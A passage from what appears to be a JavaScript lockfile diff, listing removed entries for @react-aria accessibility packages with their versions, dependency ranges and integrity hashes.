"sha512-eysWdBRzE8WDhBzh1nfjyUgzseMokXGHjIoJo880T7IPJ8tTavfQni49pU1B2qWrNOWPyrwx4Bd9pzHyboxJSA=="], - - "@react-aria/combobox": ["@react-aria/combobox@3.15.0", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/listbox": "^3.15.3", "@react-aria/live-announcer": "^3.4.4", "@react-aria/menu": "^3.21.0", "@react-aria/overlays": "^3.31.2", "@react-aria/selection": "^3.27.2", "@react-aria/textfield": "^3.18.5", "@react-aria/utils": "^3.33.1", "@react-stately/collections": "^3.12.10", "@react-stately/combobox": "^3.13.0", "@react-stately/form": "^3.2.4", "@react-types/button": "^3.15.1", "@react-types/combobox": "^3.14.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-qSjQTFwKl3x1jCP2NRSJ6doZqAp6c2GTfoiFwWjaWg1IewwLsglaW6NnzqRDFiqFbDGgXPn4MqtC1VYEJ3NEjA=="], - - "@react-aria/datepicker": ["@react-aria/datepicker@3.16.1", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@internationalized/number": "^3.6.5", "@internationalized/string": "^3.2.7", "@react-aria/focus": "^3.21.5", "@react-aria/form": "^3.1.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/spinbutton": "^3.7.2", "@react-aria/utils": "^3.33.1", "@react-stately/datepicker": "^3.16.1", "@react-stately/form": "^3.2.4", "@react-types/button": "^3.15.1", "@react-types/calendar": "^3.8.3", "@react-types/datepicker": "^3.13.5", "@react-types/dialog": "^3.5.24", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-6BltCVWt09yefTkGjb2gViGCwoddx9HKJiZbY9u6Es/Q+VhwNJQRtczbnZ3K32p262hIknukNf/5nZaCOI1AKA=="], - - "@react-aria/dialog": ["@react-aria/dialog@3.5.34", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/overlays": "^3.31.2", "@react-aria/utils": "^3.33.1", "@react-types/dialog": "^3.5.24", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-/x53Q5ynpW5Kv9637WYu7SrDfj3woSp6jJRj8l6teGnWW/iNZWYJETgzHfbxx+HPKYATCZesRoIeO2LnYIXyEA=="], - - "@react-aria/disclosure": ["@react-aria/disclosure@3.1.3", "", { "dependencies": { "@react-aria/ssr": "^3.9.10", "@react-aria/utils": "^3.33.1", "@react-stately/disclosure": "^3.0.11", "@react-types/button": "^3.15.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-S3k7Wqrj+x0sWcP88Z1stSr5TIZmKEmx2rU7RB1O1/jPpbw5mgKnjtiriOlTh+kwdK11FkeqgxyHzAcBAR+FMQ=="], - - "@react-aria/dnd": ["@react-aria/dnd@3.11.6", "", { "dependencies": { "@internationalized/string": "^3.2.7", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/overlays": "^3.31.2", "@react-aria/utils": "^3.33.1", "@react-stately/collections": "^3.12.10", "@react-stately/dnd": "^3.7.4", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-4YLHUeYJleF+moAYaYt8UZqujudPvpoaHR+QMkWIFzhfridVUhCr6ZjGWrzpSZY3r68k46TG7YCsi4IEiNnysw=="], - - "@react-aria/focus": ["@react-aria/focus@3.21.5", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0", "clsx": "^2.0.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-V18fwCyf8zqgJdpLQeDU5ZRNd9TeOfBbhLgmX77Zr5ae9XwaoJ1R3SFJG1wCJX60t34AW+aLZSEEK+saQElf3Q=="], - - "@react-aria/form": ["@react-aria/form@3.1.5", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-stately/form": "^3.2.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-BWlONgHn8hmaMkcS6AgMSLQeNqVBwqPNLhdqjDO/PCfzvV7O8NZw/dFeIzJwfG4aBfSpbHHRdXGdfrk3d8dylQ=="], - - "@react-aria/grid": ["@react-aria/grid@3.14.8", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/collections": "^3.12.10", "@react-stately/grid": "^3.11.9", "@react-stately/selection": "^3.20.9", "@react-types/checkbox": "^3.10.4", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-X6rRFKDu/Kh6Sv8FBap3vjcb+z4jXkSOwkYnexIJp5kMTo5/Dqo55cCBio5B70Tanfv32Ev/6SpzYG7ryxnM9w=="], - - "@react-aria/gridlist": ["@react-aria/gridlist@3.14.4", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/grid": "^3.14.8", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/list": "^3.13.4", "@react-stately/tree": "^3.9.6", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-C/SbwC0qagZatoBrCjx8iZUex9apaJ8o8iRJ9eVHz0cpj7mXg6HuuotYGmDy9q67A2hve4I693RM1Cuwqwm+PQ=="], - - "@react-aria/i18n": ["@react-aria/i18n@3.12.16", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@internationalized/message": "^3.1.8", "@internationalized/number": "^3.6.5", "@internationalized/string": "^3.2.7", "@react-aria/ssr": "^3.9.10", "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-Km2CAz6MFQOUEaattaW+2jBdWOHUF8WX7VQoNbjlqElCP58nSaqi9yxTWUDRhAcn8/xFUnkFh4MFweNgtrHuEA=="], - - "@react-aria/interactions": ["@react-aria/interactions@3.27.1", "", { "dependencies": { "@react-aria/ssr": "^3.9.10", "@react-aria/utils": "^3.33.1", "@react-stately/flags": "^3.1.2", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-M3wLpTTmDflI0QGNK0PJNUaBXXfeBXue8ZxLMngfc1piHNiH4G5lUvWd9W14XVbqrSCVY8i8DfGrNYpyyZu0tw=="], - - "@react-aria/label": ["@react-aria/label@3.7.25", "", { "dependencies": { "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-oNK3Pqj4LDPwEbQaoM/uCip4QvQmmwGOh08VeW+vzSi6TAwf+KoWTyH/tiAeB0CHWNDK0k3e1iTygTAt4wzBmg=="], - - "@react-aria/landmark": ["@react-aria/landmark@3.0.10", "", { "dependencies": { "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-GpNjJaI8/a6WxYDZgzTCLYSzPM6xp2pxCIQ4udiGbTCtxx13Trmm0cPABvPtzELidgolCf05em9Phr+3G0eE8A=="], - - "@react-aria/link": ["@react-aria/link@3.8.9", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-types/link": "^3.6.7", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-UaAFBfs84/Qq6TxlMWkREqqNY6SFLukot+z2Aa1kC+VyStv1kWG6sE5QLjm4SBn1Q3CGRsefhB/5+taaIbB4Pw=="], - - "@react-aria/listbox": ["@react-aria/listbox@3.15.3", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/collections": "^3.12.10", "@react-stately/list": "^3.13.4", "@react-types/listbox": "^3.7.6", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-C6YgiyrHS5sbS5UBdxGMhEs+EKJYotJgGVtl9l0ySXpBUXERiHJWLOyV7a8PwkUOmepbB4FaLD7Y9EUzGkrGlw=="], - - "@react-aria/live-announcer": ["@react-aria/live-announcer@3.4.4", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-PTTBIjNRnrdJOIRTDGNifY2d//kA7GUAwRFJNOEwSNG4FW+Bq9awqLiflw0JkpyB0VNIwou6lqKPHZVLsGWOXA=="], - - "@react-aria/menu": ["@react-aria/menu@3.21.0", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/overlays": "^3.31.2", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/collections": "^3.12.10", "@react-stately/menu": "^3.9.11", "@react-stately/selection": "^3.20.9", "@react-stately/tree": "^3.9.6", "@react-types/button": "^3.15.1", "@react-types/menu": "^3.10.7", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-CKTVZ4izSE1eKIti6TbTtzJAUo+WT8O4JC0XZCYDBpa0f++lD19Kz9aY+iY1buv5xGI20gAfpO474E9oEd4aQA=="], - - "@react-aria/meter": ["@react-aria/meter@3.4.30", "", { "dependencies": { "@react-aria/progress": "^3.4.30", "@react-types/meter": "^3.4.15", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-ZmANKW7s/Z4QGylHi46nhwtQ47T1bfMsU9MysBu7ViXXNJ03F4b6JXCJlKL5o2goQ3NbfZ68GeWamIT0BWSgtw=="], - - "@react-aria/numberfield": ["@react-aria/numberfield@3.12.5", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/spinbutton": "^3.7.2", "@react-aria/textfield": "^3.18.5", "@react-aria/utils": "^3.33.1", "@react-stately/form": "^3.2.4", "@react-stately/numberfield": "^3.11.0", "@react-types/button": "^3.15.1", "@react-types/numberfield": "^3.8.18", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-Fi41IUWXEHLFIeJ/LHuZ9Azs8J/P563fZi37GSBkIq5P1pNt1rPgJJng5CNn4KsHxwqadTRUlbbZwbZraWDtRg=="], - - "@react-aria/overlays": ["@react-aria/overlays@3.31.2", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/ssr": "^3.9.10", "@react-aria/utils": "^3.33.1", "@react-aria/visually-hidden": "^3.8.31", "@react-stately/flags": "^3.1.2", "@react-stately/overlays": "^3.6.23", "@react-types/button": "^3.15.1", "@react-types/overlays": "^3.9.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-78HYI08r6LvcfD34gyv19ArRIjy1qxOKuXl/jYnjLDyQzD4pVb634IQWcm0zt10RdKgyuH6HTqvuDOgZTLet7Q=="], - - "@react-aria/progress": ["@react-aria/progress@3.4.30", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/label": "^3.7.25", "@react-aria/utils": "^3.33.1", "@react-types/progress": "^3.5.18", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-S6OWVGgluSWYSd/A6O8CVjz83eeMUfkuWSra0ewAV9bmxZ7TP9pUmD3bGdqHZEl97nt5vHGjZ3eq/x8eCmzKhA=="], - - "@react-aria/radio": ["@react-aria/radio@3.12.5", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/form": "^3.1.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/utils": "^3.33.1", "@react-stately/radio": "^3.11.5", "@react-types/radio": "^3.9.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-8CCJKJzfozEiWBPO9QAATG1rBGJEJ+xoqvHf9LKU2sPFGsA2/SRnLs6LB9fCG5R3spvaK1xz0any1fjWPl7x8A=="], - - "@react-aria/searchfield": ["@react-aria/searchfield@3.8.12", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/textfield": "^3.18.5", "@react-aria/utils": "^3.33.1", "@react-stately/searchfield": "^3.5.19", "@react-types/button": "^3.15.1", "@react-types/searchfield": "^3.6.8", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-kYlUHD/+mWzNroHoR8ojUxYBoMviRZn134WaKPFjfNUGZDOEuh4XzOoj+cjdJfe6N3mwTaYu6rJQtunSHIAfhA=="], - - "@react-aria/select": ["@react-aria/select@3.17.3", "", { "dependencies": { "@react-aria/form": "^3.1.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/listbox": "^3.15.3", "@react-aria/menu": "^3.21.0", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-aria/visually-hidden": "^3.8.31", "@react-stately/select": "^3.9.2", "@react-types/button": "^3.15.1", "@react-types/select": "^3.12.2", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-u0UFWw0S7q9oiSbjetDpRoLLIcC+L89uYlm+YfCrdT8ntbQgABNiJRxdVvxnhR0fR6MC9ASTTvuQnNHNn52+1A=="], - - "@react-aria/selection": ["@react-aria/selection@3.27.2", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-stately/selection": "^3.20.9", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-GbUSSLX/ciXix95KW1g+SLM9np7iXpIZrFDSXkC6oNx1uhy18eAcuTkeZE25+SY5USVUmEzjI3m/3JoSUcebbg=="], - - "@react-aria/separator": ["@react-aria/separator@3.4.16", "", { "dependencies": { "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-RCUtQhDGnPxKzyG8KM79yOB0fSiEf8r/rxShidOVnGLiBW2KFmBa22/Gfc4jnqg/keN3dxvkSGoqmeXgctyp6g=="], - - "@react-aria/slider": ["@react-aria/slider@3.8.5", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/utils": "^3.33.1", "@react-stately/slider": "^3.7.5", "@react-types/shared": "^3.33.1", "@react-types/slider": "^3.8.4", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-gqkJxznk141mE0JamXF5CXml9PDbPkBz8dyKlihtWHWX4yhEbVYdC9J0otE7iCR3zx69Bm7WHoTGL0BsdpKzVA=="], - - "@react-aria/spinbutton": ["@react-aria/spinbutton@3.7.2", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/live-announcer": "^3.4.4", "@react-aria/utils": "^3.33.1", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-adjE1wNCWlugvAtVXlXWPtIG9JWurEgYVn1Eeyh19x038+oXGvOsOAoKCXM+SnGleTWQ9J7pEZITFoEI3cVfAw=="], - - "@react-aria/ssr": ["@react-aria/ssr@3.9.10", "", { "dependencies": { "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-hvTm77Pf+pMBhuBm760Li0BVIO38jv1IBws1xFm1NoL26PU+fe+FMW5+VZWyANR6nYL65joaJKZqOdTQMkO9IQ=="], - - "@react-aria/switch": ["@react-aria/switch@3.7.11", "", { "dependencies": { "@react-aria/toggle": "^3.12.5", "@react-stately/toggle": "^3.9.5", "@react-types/shared": "^3.33.1", "@react-types/switch": "^3.5.17", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-dYVX71HiepBsKyeMaQgHbhqI+MQ3MVoTd5EnTbUjefIBnmQZavYj1/e4NUiUI4Ix+/C0HxL8ibDAv4NlSW3eLQ=="], - - "@react-aria/table": ["@react-aria/table@3.17.11", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/grid": "^3.14.8", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/utils": "^3.33.1", "@react-aria/visually-hidden": "^3.8.31", "@react-stately/collections": "^3.12.10", "@react-stately/flags": "^3.1.2", "@react-stately/table": "^3.15.4", "@react-types/checkbox": "^3.10.4", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@react-types/table": "^3.13.6", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-GkYmWPiW3OM+FUZxdS33teHXHXde7TjHuYgDDaG9phvg6cQTQjGilJozrzA3OfftTOq5VB8XcKTIQW3c0tpYsQ=="], - - "@react-aria/tabs": ["@react-aria/tabs@3.11.1", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/tabs": "^3.8.9", "@react-types/shared": "^3.33.1", "@react-types/tabs": "^3.3.22", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-3Ppz7yaEDW9L7p9PE9yNOl5caLwNnnLQqI+MX/dwbWlw9HluHS7uIjb21oswNl6UbSxAWyENOka45+KN4Fkh7A=="], - - "@react-aria/tag": ["@react-aria/tag@3.8.1", "", { "dependencies": { "@react-aria/gridlist": "^3.14.4", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/list": "^3.13.4", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-VonpO++F8afXGDWc9VUxAc2wefyJpp1n9OGpbnB7zmqWiuPwO/RixjUdcH7iJkiC4vADwx9uLnhyD6kcwGV2ig=="], - - "@react-aria/textfield": ["@react-aria/textfield@3.18.5", "", { "dependencies": { "@react-aria/form": "^3.1.5", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/utils": "^3.33.1", "@react-stately/form": "^3.2.4", "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@react-types/textfield": "^3.12.8", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-ttwVSuwoV3RPaG2k2QzEXKeQNQ3mbdl/2yy6I4Tjrn1ZNkYHfVyJJ26AjenfSmj1kkTQoSAfZ8p+7rZp4n0xoQ=="], - - "@react-aria/toast": ["@react-aria/toast@3.0.11", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/landmark": "^3.0.10", "@react-aria/utils": "^3.33.1", "@react-stately/toast": "^3.1.3", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-2DjZjBAvm8/CWbnZ6s7LjkYCkULKtjMve6GvhPTq98AthuEDLEiBvM1wa3xdecCRhZyRT1g6DXqVca0EfZ9fJA=="], - - "@react-aria/toggle": ["@react-aria/toggle@3.12.5", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-stately/toggle": "^3.9.5", "@react-types/checkbox": "^3.10.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-XXVFLzcV8fr9mz7y/wfxEAhWvaBZ9jSfhCMuxH2bsivO7nTcMJ1jb4g2xJNwZgne17bMWNc7mKvW5dbsdlI6BA=="], - - "@react-aria/toolbar": ["@react-aria/toolbar@3.0.0-beta.24", "", { "dependencies": { "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-B2Rmpko7Ghi2RbNfsGdbR7I+RQBDhPGVE4bU3/EwHz+P/vNe5LyGPTeSwqaOMsQTF9lKNCkY8424dVTCr6RUMg=="], - - "@react-aria/tooltip": ["@react-aria/tooltip@3.9.2", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-stately/tooltip": "^3.5.11", "@react-types/shared": "^3.33.1", "@react-types/tooltip": "^3.5.2", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-VrgkPwHiEnAnBhoQ4W7kfry/RfVuRWrUPaJSp0+wKM6u0gg2tmn7OFRDXTxBAm/omQUguIdIjRWg7sf3zHH82A=="], - - "@react-aria/tree": ["@react-aria/tree@3.1.7", "", { "dependencies": { "@react-aria/gridlist": "^3.14.4", "@react-aria/i18n": "^3.12.16", "@react-aria/selection": "^3.27.2", "@react-aria/utils": "^3.33.1", "@react-stately/tree": "^3.9.6", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-C54yH5NmsOFa2Q+cg6B1BPr5KUlU9vLIoBnVrgrH237FRSXQPIbcM4VpmITAHq1VR7w6ayyS1hgTwFxo67ykWQ=="], - - "@react-aria/utils": 